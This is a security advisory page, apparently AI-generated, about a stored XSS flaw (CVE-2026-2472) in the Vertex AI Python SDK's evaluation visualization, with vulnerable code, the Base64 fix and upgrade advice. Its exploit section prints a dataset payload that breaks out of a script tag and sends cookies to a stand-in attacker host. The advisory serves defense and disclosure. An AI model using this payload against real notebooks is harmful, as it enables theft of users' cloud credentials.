CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-2472

Poisoned Notebooks: Stored XSS in Google Vertex AI SDK

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 20, 2026·6 min read·98 visits

Executive Summary (TL;DR)

The Vertex AI SDK for Python (v1.98.0 - v1.130.0) unsafely embedded JSON data into HTML reports. Attackers can inject malicious scripts into datasets or model outputs, which execute when a victim visualizes the evaluation results in Jupyter/Colab. Upgrade to 1.131.0 immediately.

A critical Stored Cross-Site Scripting (XSS) vulnerability in the Google Cloud Vertex AI Python SDK allows attackers to execute arbitrary JavaScript within a victim's Jupyter or Colab environment. By poisoning model evaluation datasets, an attacker can hijack the visualization rendering process to exfiltrate credentials or manipulate notebook sessions.

The Hook: Trusting the Notebook

In the modern AI landscape, the Jupyter Notebook is the new shell. Data scientists and ML engineers live inside these environments, processing massive datasets and visualizing complex model behaviors. We trust these environments implicitly. We assume that when we ask a library to "draw a graph of this model's performance," it will do just that—draw a graph.

But what if the graph bites back? CVE-2026-2472 is exactly that scenario. It resides in the google-cloud-aiplatform SDK, specifically within the _genai/_evals_visualization component. This tool is designed to take raw evaluation data—prompts, responses, and metrics—and render them into a pretty HTML report right inside your notebook.

The vulnerability is a classic case of "Web 1.0 problems in Web 3.0 technologies." The SDK takes data that is potentially tainted (like model outputs or external datasets) and blindly trusts it during HTML generation. If you think XSS is just for websites, think again. In a notebook environment, XSS isn't just an alert box; it's a potential gateway to your cloud credentials.

The Flaw: HTML Injection 101

The root cause here is embarrassingly simple, yet devastatingly effective. The developers used Python f-strings to construct HTML templates. While f-strings are great for performance and readability, they are catastrophic for security when handling untrusted input destined for a browser context.

The vulnerable code in _get_evaluation_html looked something like this:

def _get_evaluation_html(eval_result_json: str) -> str:
    return f"""
    <html>
      <body>
        <script>
          const data = {eval_result_json};
          renderChart(data);
        </script>
      </body>
    </html>
    """

See the problem? The code assumes eval_result_json is a safe JSON string. The browser's HTML parser runs before the JavaScript engine. If the JSON string contains </script>, the HTML parser sees that tag and immediately closes the script block, treating whatever follows as raw HTML.

This is the classic "context confusion" bug. The Python code treats the data as a string, but the browser treats it as structural markup. By breaking out of the script context, an attacker can inject their own <script> tags, effectively turning a data visualization tool into a remote code execution platform within the victim's browser.

The Code: Diffing the Disaster

Let's look at the fix (Commit 8a00d43dbd24e95dbab6ea32c63ce0a5a1849480) to understand exactly how Google patched this. They moved from direct interpolation to a Base64-encoding strategy.

The Vulnerable Code (Simplified):

# _genai/_evals_visualization.py
 
template = """
<script>
  var vizData = {json_payload};
</script>
"""
return template.format(json_payload=json.dumps(data))

The Fixed Code:

# _genai/_evals_visualization.py
 
import base64
 
def _encode_to_base64(data: str) -> str:
    return base64.b64encode(data.encode("utf-8")).decode("utf-8")
 
# ... inside the template generator ...
payload_b64 = _encode_to_base64(json.dumps(data))
 
template = """
<script>
  const b64 = "{payload_b64}";
  const jsonStr = new TextDecoder().decode(
    Uint8Array.from(atob(b64), c => c.charCodeAt(0))
  );
  var vizData = JSON.parse(jsonStr);
</script>
"""

By Base64 encoding the payload on the server (Python side) and decoding it on the client (JavaScript side), the data creates a "tunnel" through the HTML parser. The browser only sees alphanumeric Base64 characters, so tags like </script> never appear in the DOM during the initial parse phase. It's a robust, standard defense against this specific class of XSS.

The Exploit: Weaponizing the Dataset

To exploit this, we don't need to hack a server directly. We just need to poison the data supply chain. Imagine you are evaluating a Large Language Model (LLM) and you download a "standard" evaluation dataset from a public repository, or perhaps you prompt injection the model to output specific strings.

Here is the attack chain:

  1. Payload Generation: We craft a JSON object where one of the fields contains the breakout sequence.
    {
      "prompt": "Explain quantum physics",
      "response": "</script><script>fetch('https://attacker.com/steal?c='+btoa(document.cookie))</script>"
    }
  2. Injection: We upload this as a dataset or fine-tuning data. The victim runs the evaluation using the vulnerable SDK.
  3. Trigger: The victim runs vertexai.preview.generative_models.evaluation to see how well their model performed. The SDK generates the HTML.
  4. Execution: As soon as the chart renders in the notebook cell, our script executes.

This is particularly dangerous in cloud-hosted notebooks (like Colab or Vertex AI Workbench) where the browser session often holds authentication tokens for the cloud provider. A successful XSS here could allow an attacker to pivot from a simple visualization bug to full cloud account compromise.

Residual Risk: The Unpatched Corners

While the main visualization vector was patched in version 1.131.0, a closer look at the codebase suggests the battle might not be entirely over. The patch focused heavily on the eval_result_json variable, but other functions like _get_status_html still use string interpolation for error messages.

def _get_status_html(status: str, error_message: Optional[str] = None) -> str:
    return f"""
    <div>
        <p><b>Status:</b> {status}</p>
        {error_message} 
    </div>
    """

If an attacker can force the evaluation engine to throw an error that contains user-controlled input (for example, a malformed prompt that gets reflected in the error log), they might still be able to achieve XSS. This serves as a reminder that fixing the known vector is rarely enough; you have to sanitize the pattern, not just the instance. Always treat error messages as untrusted input.

The Fix: Upgrade or Die

The mitigation is straightforward: stop using the vulnerable versions. The patch was released in version 1.131.0 on December 16, 2025. If you are running anything between 1.98.0 and 1.130.0, you are exposed.

Run this in your environment immediately:

pip install --upgrade google-cloud-aiplatform>=1.131.0

If you cannot upgrade for compatibility reasons (classic Python dependency hell), you must avoid using the visualization features of the Vertex AI SDK on untrusted data. Treat all evaluation results as radioactive material until they are sanitized.

Official Patches

GoogleOfficial fix commit on GitHub

Fix Analysis (1)

Technical Appendix

CVSS Score
8.6/ 10
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L/U:Amber

Affected Systems

Google Cloud Vertex AI SDK for PythonJupyter Notebooks using Vertex AIGoogle Colab instances using Vertex AIVertex AI Workbench

Affected Versions Detail

Product
Affected Versions
Fixed Version
google-cloud-aiplatform
Google
>= 1.98.0, < 1.131.01.131.0
AttributeDetail
CVE IDCVE-2026-2472
CVSS v4.08.6 (High)
CWECWE-79 (Stored XSS)
VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H
Affected Versions1.98.0 - 1.130.0
Fix Version1.131.0

MITRE ATT&CK Mapping

T1189Drive-by Compromise
Initial Access
T1059.007Command and Scripting Interpreter: JavaScript
Execution
T1204.001User Execution: Malicious Link
Execution
CWE-79
Cross-site Scripting

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Known Exploits & Detection

Internal ResearchExploit involves injecting '</script><script>...' into JSON fields processed by _get_evaluation_html.

Vulnerability Timeline

Fix committed to GitHub
2025-12-15
Version 1.131.0 Released
2025-12-16
CVE-2026-2472 Published
2026-02-20

References & Sources

  • [1]Google Cloud Security Bulletin GCP-2026-011
  • [2]NVD - CVE-2026-2472

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•10 minutes ago•CVE-2026-56677
8.6

CVE-2026-56677: Unauthenticated Server-Side Request Forgery in 9Router OIDC Test Endpoint

A high-severity security vulnerability exists in 9Router, an AI router and token saver dashboard. When dashboard authentication features are disabled or left in default configurations, the application exposes administrative testing routines directly to the public internet. Unauthenticated network adversaries can exploit the OIDC configuration validation endpoint to initiate arbitrary HTTP requests, routing unauthorized traffic to local loops, adjacent container ports, and cloud resource metadata interfaces.

Amit Schendel
Amit Schendel
0 views•5 min read
•about 1 hour ago•CVE-2026-64849
9.3

CVE-2026-64849: Server-Side Request Forgery (SSRF) in MLflow Webhooks via DNS Rebinding

CVE-2026-64849 is a critical Server-Side Request Forgery (SSRF) vulnerability affecting MLflow tracking servers prior to version 3.15.0. It allows unauthenticated remote attackers to bypass outbound request destination filters using DNS rebinding or HTTP redirects. This exposure risks compromising sensitive cloud infrastructure metadata and internal microservices.

Alon Barad
Alon Barad
2 views•5 min read
•about 2 hours ago•CVE-2026-69146
6.5

CVE-2026-69146: Missing Authorization Bypass in MLflow Basic Authentication Middleware

This technical report details a missing authorization vulnerability (CVE-2026-69146 / GHSA-3p64-6gvh-82v5) affecting the MLflow platform from version 3.13.0 to 3.15.0. When MLflow is configured with the built-in basic-auth plugin, authenticated users can bypass run-level UPDATE authorization checks, enabling unauthorized dataset and model lineage metadata injection.

Alon Barad
Alon Barad
2 views•7 min read
•about 3 hours ago•CVE-2026-69148
7.1

CVE-2026-69148: Broken Object Level Authorization (BOLA) in MLflow Model Registry

MLflow prior to version 3.15.0 fails to perform proper authorization checks when registering model versions, allowing authenticated users with access to a registered model to link and access artifacts from runs and models belonging to other users without authorization.

Amit Schendel
Amit Schendel
4 views•7 min read
•about 4 hours ago•CVE-2026-59893
7.5

CVE-2026-59893: Regular Expression Denial of Service in sqlparse Lexer

A high-severity Regular Expression Denial of Service (ReDoS) vulnerability in the sqlparse Python library prior to version 0.6.0 allows unauthenticated remote attackers to trigger CPU exhaustion and application denial of service via crafted SQL inputs containing unmatched dollar-quoted literals or unclosed multiline comments.

Alon Barad
Alon Barad
4 views•6 min read
•about 5 hours ago•GHSA-FHGH-WQ4Q-R37X
7.8

GHSA-FHGH-WQ4Q-R37X: Remote Code Execution via Sigstore Signature Verification Bypass in uniget CLI

A high-severity logic inversion flaw in the uniget CLI completely bypasses Sigstore cryptographic signature verification on metadata files by default. If an attacker can poison the package metadata cache or repository, they can execute arbitrary OS commands under the privileges of the active user.

Alon Barad
Alon Barad
5 views•5 min read